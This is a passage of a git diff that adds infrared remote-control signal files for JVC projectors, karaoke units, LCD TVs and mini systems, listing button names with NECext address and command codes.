+protocol: NECext +address: 6F 00 00 00 +command: E0 00 00 00 +# +name: HELP +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: E8 00 00 00 +# +name: LIVE +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: E9 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/HD-ILA Projection/115,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/HD-ILA Projection/115,-1.ir new file mode 100644 index 000000000..58345135c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/HD-ILA Projection/115,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 01 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 02 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 03 00 00 00 +# +name: PWR_ON +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 05 00 00 00 +# +name: PWR_OFF +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 06 00 00 00 +# +name: HIDE +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 1D 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 2E 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 34 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 36 00 00 00 +# +name: INPUT_VIDEO +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 4B 00 00 00 +# +name: INPUT_S-VIDEO +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 4C 00 00 00 +# +name: INPUT_COMPONENT +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 4D 00 00 00 +# +name: TEST +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 59 00 00 00 +# +name: CINEMA_'C' +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 69 00 00 00 +# +name: NATURAL_'N' +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 6A 00 00 00 +# +name: DYNAMIC_'D' +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 6B 00 00 00 +# +name: USER_1 +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 6C 00 00 00 +# +name: USER_2 +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 6D 00 00 00 +# +name: USER_3 +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 6E 00 00 00 +# +name: HDMI-1 +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 70 00 00 00 +# +name: HDMI-2 +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 71 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 74 00 00 00 +# +name: COLOR_TEMP +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 76 00 00 00 +# +name: ASPECT +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 77 00 00 00 +# +name: CONTRAST_+ +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 78 00 00 00 +# +name: CONTRAST_- +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 79 00 00 00 +# +name: BRIGHTNESS_+ +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 7A 00 00 00 +# +name: BRIGHTNESS_- +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 7B 00 00 00 +# +name: COLOR+ +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 7C 00 00 00 +# +name: COLOR- +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 7D 00 00 00 +# +name: SHARP+ +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 7E 00 00 00 +# +name: SHARP- +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 7F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/HD-ILA Projection/15,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/HD-ILA Projection/15,-1.ir new file mode 100644 index 000000000..ec1f8d93f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/HD-ILA Projection/15,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: SELECT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 11 00 00 00 +# +name: MULTISCREEN_SELECT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 11 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/HD-ILA Projection/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/HD-ILA Projection/3,-1.ir new file mode 100644 index 000000000..706271068 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/HD-ILA Projection/3,-1.ir @@ -0,0 +1,284 @@ +Filetype: IR signals file +Version: 1 +# +name: SLEEP_TIMER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 03 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 04 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0A 00 00 00 +# +name: VIDEO_STATUS +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0D 00 00 00 +# +name: CLOSE_CAPTION +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0E 00 00 00 +# +name: INPUT_1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 11 00 00 00 +# +name: INPUT_2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 12 00 00 00 +# +name: INPUT_3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 14 00 00 00 +# +name: INPUT3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 14 00 00 00 +# +name: DIGITAL_IN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 15 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 17 00 00 00 +# +name: POWER_(TOGGLE) +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 17 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1A 00 00 00 +# +name: INPUT_4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1B 00 00 00 +# +name: INPUT4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1B 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1C 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1D 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: VOL_UP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: VOL_DN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 20 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 21 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 22 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 23 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 24 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 25 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 26 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 27 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 28 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 29 00 00 00 +# +name: SOUND +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 42 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 7A 00 00 00 +# +name: MULTISCREEN_FREEZE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 80 00 00 00 +# +name: MULTISCREEN_INDEX +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 82 00 00 00 +# +name: MULTISCREEN_SWAP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 89 00 00 00 +# +name: MULTILSCREEN_TWIN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 8B 00 00 00 +# +name: ASPECT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 93 00 00 00 +# +name: ASPECT_RATIO +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 93 00 00 00 +# +name: THEATRE_PRO +type: parsed +protocol: NECext +address: 03 00 00 00 +command: D5 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 03 00 00 00 +command: E6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/HD-ILA Projection/67,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/HD-ILA Projection/67,-1.ir new file mode 100644 index 000000000..e48008a80 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/HD-ILA Projection/67,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 13 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Karaoke/179,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Karaoke/179,-1.ir new file mode 100644 index 000000000..d0fb2787a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Karaoke/179,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: JUMP_BACK +type: parsed +protocol: NECext +address: B3 00 00 00 +command: B3 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Karaoke/191,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Karaoke/191,-1.ir new file mode 100644 index 000000000..8d682cdc9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Karaoke/191,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 00 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 03 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 06 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 07 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 08 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 09 00 00 00 +# +name: REPEAT/RANDOM +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 0A 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 0C 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 0D 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 11 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 12 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 13 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 14 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 15 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 16 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 17 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 18 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 19 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 1A 00 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 1E 00 00 00 +# +name: 10+ +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 1F 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 2C 00 00 00 +# +name: DISC_1 +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 31 00 00 00 +# +name: DISC_2 +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 32 00 00 00 +# +name: DISC_3 +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 33 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Karaoke/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Karaoke/3,-1.ir new file mode 100644 index 000000000..f41c6d9e1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Karaoke/3,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_B +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: KEY_# +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/LCD TV/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/LCD TV/3,-1.ir new file mode 100644 index 000000000..d103787b7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/LCD TV/3,-1.ir @@ -0,0 +1,80 @@ +Filetype: IR signals file +Version: 1 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 04 00 00 00 +# +name: OK/SELECT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0A 00 00 00 +# +name: VIDEO1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 11 00 00 00 +# +name: VIDEO2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 12 00 00 00 +# +name: VIDEO3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 14 00 00 00 +# +name: POWER_(TOGGLE) +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 17 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: VIDEO4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1B 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 7A 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 80 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/LCD/15,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/LCD/15,-1.ir new file mode 100644 index 000000000..f1433a64f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/LCD/15,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: AV +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 1A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/LCD/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/LCD/3,-1.ir new file mode 100644 index 000000000..b12a3727d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/LCD/3,-1.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: INFO +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 04 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0A 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 17 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1C 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 20 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 21 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 22 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 23 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 24 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 25 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 26 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 27 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 28 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 29 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 5A 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 5B 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 7A 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 7B 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 7C 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 03 00 00 00 +command: E6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/LCD/35,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/LCD/35,-1.ir new file mode 100644 index 000000000..e01f21a96 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/LCD/35,-1.ir @@ -0,0 +1,32 @@ +Filetype: IR signals file +Version: 1 +# +name: TEXT +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 13 00 00 00 +# +name: D +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 3C 00 00 00 +# +name: 3D_SOUND_/_GREEN +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 3D 00 00 00 +# +name: PIP_SOUND_/_YELLOW +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 3E 00 00 00 +# +name: PIP_/_BLUE +type: parsed +protocol: NECext +address: 23 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/LCD/67,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/LCD/67,-1.ir new file mode 100644 index 000000000..b07eed5f9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/LCD/67,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: TV +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 10 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Mini System/131,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Mini System/131,-1.ir new file mode 100644 index 000000000..1c3130ba3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Mini System/131,-1.ir @@ -0,0 +1,68 @@ +Filetype: IR signals file +Version: 1 +# +name: DECK_B_STOP +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 03 00 00 00 +# +name: DECK_B_FFWD +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 06 00 00 00 +# +name: DECK_B_REW +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 07 00 00 00 +# +name: DECK_B< +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 0E 00 00 00 +# +name: DECK_B> +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 0F 00 00 00 +# +name: DECK_A_STOP +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 53 00 00 00 +# +name: DECK_A_FFWD +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 56 00 00 00 +# +name: DECK_A_REW +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 57 00 00 00 +# +name: TAPE_DECK_A< +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 5E 00 00 00 +# +name: TAPE_DECK_A> +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 5F 00 00 00 +# +name: DECK_B_RECORD +type: parsed +protocol: NECext +address: 83 00 00 00 +command: CD 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Mini System/159,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Mini System/159,-1.ir new file mode 100644 index 000000000..6c21b632d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Mini System/159,-1.ir @@ -0,0 +1,128 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 00 00 00 00 +# +name: VOL_+ +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 01 00 00 00 +# +name: VOL_- +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 02 00 00 00 +# +name: TUNER_INPUT +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 0B 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 21 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 22 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 23 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 24 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 25 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 26 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 27 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 28 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 29 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 2A 00 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 2A 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 2E 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 32 00 00 00 +# +name: CD_SKIP_+ +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 3D 00 00 00 +# +name: CD_SKIP_- +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 3E 00 00 00 +# +name: CD_PLAY/INPUT/PAUSE +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 70 00 00 00 +# +name: CD_STOPP +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 71 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Mini System/163,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Mini System/163,-1.ir new file mode 100644 index 000000000..1488bab31 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Mini System/163,-1.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: SLEEP +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 03 00 00 00 +# +name: WAKE_UP/SLEEP +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 03 00 00 00 +# +name: INPUT:_FM/AM +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 0B 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 0B 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 17 00 00 00 +# +name: FADE_MUTING +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 1C 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 1E 00 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 1E 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 1F 00 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 1F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 28 00 00 00 +# +name: BASS +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 31 00 00 00 +# +name: TREBLE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 37 00 00 00 +# +name: SEA_MODE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 38 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 3C 00 00 00 +# +name: INPUT:_MD/AUX +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 3E 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 3E 00 00 00 +# +name: LIVE-S_MODE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 58 00 00 00 +# +name: FM_MODE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 5A 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 70 00 00 00 +# +name: AHB_PRO +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 75 00 00 00 +# +name: AUTO_PRESET +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 77 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Mini System/175,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Mini System/175,-1.ir new file mode 100644 index 000000000..9924acd4f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Mini System/175,-1.ir @@ -0,0 +1,86 @@ +Filetype: IR signals file +Version: 1 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 05 00 00 00 +# +name: TUNER_SCAN_UP +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 05 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 06 00 00 00 +# +name: TUNER_SCAN_DOWN +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 06 00 00 00 +# +name: SET/ENTER +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 91 00 00 00 +# +name: DOOR_SLIDE +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A8 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: AF 00 00 00 +command: C0 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: AF 00 00 00 +command: C0 00 00 00 +# +name: TUNER_PRESET_+ +type: parsed +protocol: NECext +address: AF 00 00 00 +command: C0 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: AF 00 00 00 +command: C1 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: AF 00 00 00 +command: C1 00 00 00 +# +name: TUNER_PRESET_- +type: parsed +protocol: NECext +address: AF 00 00 00 +command: C1 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: AF 00 00 00 +command: C2 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: AF 00 00 00 +command: C3 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Mini System/179,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Mini System/179,-1.ir new file mode 100644 index 000000000..d044ba300 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Mini System/179,-1.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: STOP +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 43 00 00 00 +# +name: STOP_CD +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 43 00 00 00 +# +name: CD_OPEN +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 44 00 00 00 +# +name: CD_CHANGER_(INTRO) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 48 00 00 00 +# +name: PLAY_CD +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 4C 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 52 00 00 00 +# +name: TRACK< +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 58 00 00 00 +# +name: TRACK> +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 59 00 00 00 +# +name: +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 59 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 5B 00 00 00 +# +name: CD_(REPEAT) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 5B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: B3 00 00 